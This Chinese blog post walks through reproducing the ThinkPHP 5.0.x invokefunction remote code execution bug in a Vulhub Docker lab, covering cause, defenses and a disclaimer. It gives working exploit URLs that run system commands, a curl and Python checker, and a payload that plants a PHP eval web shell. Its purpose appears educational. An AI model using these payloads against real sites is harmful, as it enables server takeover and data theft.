ThinkPHP 5.x 远程代码执行漏洞(基于 Vulhub 环境)

深入剖析 ThinkPHP 5.x 远程代码执行漏洞(基于 Vulhub 环境)

一、漏洞背景简介 🔍

ThinkPHP 是一个轻量且易用的 PHP 开发框架,广泛应用于 Web 开发。然而,在 ThinkPHP 5.0.x 至 5.0.23 版本中,由于框架对动态函数调用(如 invokeFunction)的访问控制不严格,存在严重的 远程代码执行(RCE)漏洞。攻击者可通过精心构造的 URL 参数,调用任意 PHP 函数(如 phpinfosystem),实现远程执行任意代码或系统命令,危害极大。

本文基于 Vulhub 靶场环境,详细讲解该漏洞的原理、环境搭建、利用过程及防御措施,旨在帮助安全从业者和开发者深入理解并防范此类漏洞。


二、漏洞环境搭建

为了复现 ThinkPHP 5.x RCE 漏洞,我们使用 Vulhub 提供的靶场环境,结合 Docker 和 Kali Linux 进行搭建。以下是详细步骤:

1. 基础环境

  • 操作系统:Kali Linux(推荐使用虚拟机)
  • 工具:已安装 Docker 和 Docker Compose
  • 网络模式
    • NAT(用于访问外部网络)
    • 仅主机模式(Host-Only,Kali IP:192.168.56.102
  • 硬件要求:建议 4GB 内存,2 核 CPU

2. 获取 Vulhub 项目

Vulhub 是一个开源的漏洞靶场集合,包含 ThinkPHP 5.x RCE 环境。执行以下命令:

1
2
3
4
5
6
# 切换到工作目录
cd /root/vulhub/thinkphp/5-rce

# 如果未下载 Vulhub,克隆项目
git clone https://github.com/vulhub/vulhub.git
cd vulhub/thinkphp/5-rce

3. 启动漏洞环境

在 vulhub/thinkphp/5-rce 目录下,运行以下命令启动 Docker 容器:

1
docker-compose up -d

启动后,访问以下地址:

1
http://192.168.56.102:8080

若看到 ThinkPHP V5 的欢迎页面,说明环境部署成功

4. 容器管理操作

查看运行中的容器:

1
docker ps

示例输出:

1
2
CONTAINER ID   IMAGE                       PORTS                    NAMES
e5117e659934 vulhub/thinkphp:5.0.23 0.0.0.0:8080->80/tcp thinkphp_5-rce_1

停止指定容器:

1
docker stop e5117e659934

一键停止并移除容器及网络:

1
docker-compose down

三、漏洞原理解析

漏洞成因

ThinkPHP 5.x 的控制器路由机制允许通过 URL 参数动态调用框架内部函数(如 \think\app::invokeFunction)。在 5.0.23 及以下版本中,框架未对这些调用进行严格的权限校验,导致攻击者可以通过构造特定参数,调用任意 PHP 函数(如 call_user_func_array),并传递函数名和参数,从而触发远程代码执行。

核心问题

  • 动态函数调用call_user_func_array 允许动态调用任意 PHP 函数(如 phpinfosystem 等)。
  • 参数未过滤:用户输入的 vars[0](函数名)和 vars[1][](函数参数)直接传递到函数执行器,未经严格验证。
  • 路由暴露:通过 s=/Index/\think\app/invokefunction,攻击者可直接访问框架核心类。

漏洞危害

  • 执行任意 PHP 代码
  • 运行系统命令,获取权限
  • 上传 WebShell,长期控制服务器
  • 窃取配置文件、数据库信息
  • 删除文件或修改系统配置

四、漏洞利用演示

以下展示如何利用 ThinkPHP 5.x RCE 漏洞,基于 Vulhub 靶场环境。

1. 测试 PHP 函数调用

访问以下 Payload:

1
http://192.168.56.102:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

参数解析

  • s=/Index/\think\app/invokefunction:指定路由
  • function=call_user_func_array:调用函数
  • vars[0]=phpinfo:目标函数
  • vars[1][]=1:参数(执行 phpinfo(1))

结果

页面显示 phpinfo 配置信息,说明漏洞存在

2. 执行系统命令

执行 whoami

1
http://192.168.56.102:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

结果示例

1
www-data

表示系统命令执行成功。

其他命令测试:

  • 查看用户 ID:

    1
    http://192.168.56.102:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
  • 列出目录:

    1
    http://192.168.56.102:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20/
  • 查看网络配置:

    1
    http://192.168.56.102:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ifconfig

3. 使用 Curl 测试

1
curl "http://192.168.56.102:8080/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami"

注意:URL 中的 \ 要写成 \\

4. 使用 Burp Suite 测试

  • 在浏览器中访问目标页面,拦截请求
  • 将 Payload 粘贴进 Repeater 中测试
  • 修改 vars[1][] 的值如 idls

五、Payload 结构总结

参数键 功能说明
s 请求路由,指向 ThinkPHP 核心类
function 要调用的 PHP 函数(如 call_user_func_array
vars[0] 执行的函数名称(如 phpinfo, system
vars[1][] 函数的参数数组(如 whoami, id

六、防御措施

  1. 升级 ThinkPHP 版本

    升级至 ThinkPHP 5.0.24 或更高版本。

  2. 输入验证与过滤

    • 白名单验证 s 参数
    • 禁用危险函数如 call_user_func_array
    • 严格过滤所有用户输入参数
  3. 禁用危险函数

    php.ini 中:

    1
    disable_functions = eval,exec,system,passthru,shell_exec,proc_open,call_user_func_array
  4. 最小权限原则

    Web 服务运行用户不要使用 root,限制文件访问权限。

  5. 部署 WAF

    拦截请求中包含敏感函数或路径的攻击尝试。

  6. 安全审计与监控

    定期扫描、日志审计,发现异常行为。


七、笔记总结

内容项 信息
漏洞类型 RCE(远程代码执行)
影响版本 ThinkPHP 5.0.x 至 5.0.23
漏洞原因 动态函数调用缺乏授权校验
复现方式 URL GET 请求构造 Payload
环境工具 Vulhub、Docker、Kali Linux

八、附加玩法

自动化检测脚本

1
2
3
4
5
6
7
8
import requests

url = "http://192.168.56.102:8080/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami"
response = requests.get(url)
if "www-data" in response.text:
print("Vulnerability found!")
else:
print("No vulnerability detected.")

上传 WebShell

1
http://192.168.56.102:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27%3C%3Fphp%20%40eval%28%24_POST%5B%27pass%27%5D%29%3B%20%3F%3E%27%20%3E%20/var/www/html/shell.php

使用蚁剑连接:

1
http://192.168.56.102:8080/shell.php

提权尝试

结合弱口令、提权漏洞等,可使用 Metasploit 等工具进一步入侵。


九、总结

ThinkPHP 5.x RCE 漏洞是一个典型的动态函数调用漏洞,利用简单但危害极大。通过 Vulhub 靶场,我们可以快速复现漏洞,深入理解其原理和利用方式。

开发者应及时升级框架版本,实施严格的输入验证和权限控制,部署 WAF 和监控机制,以降低漏洞被利用的风险。

希望本文能帮助读者更好地理解和防范 ThinkPHP RCE 漏洞,同时提升 Web 应用安全开发的意识!


⚠️ 免责声明

本文内容仅供网络安全学习和研究使用,请勿用于非法用途。任何个人或组织使用本文信息进行的违法活动,均与作者无关。读者应当遵守当地法律法规,在合法授权的环境下进行安全测试。


ThinkPHP 5.x 远程代码执行漏洞(基于 Vulhub 环境)
https://bae-ace.github.io/2025/07/27/ThinkPHP-5-x-远程代码执行漏洞(基于-Vulhub-环境)/
作者
bae
发布于
2025年7月27日
许可协议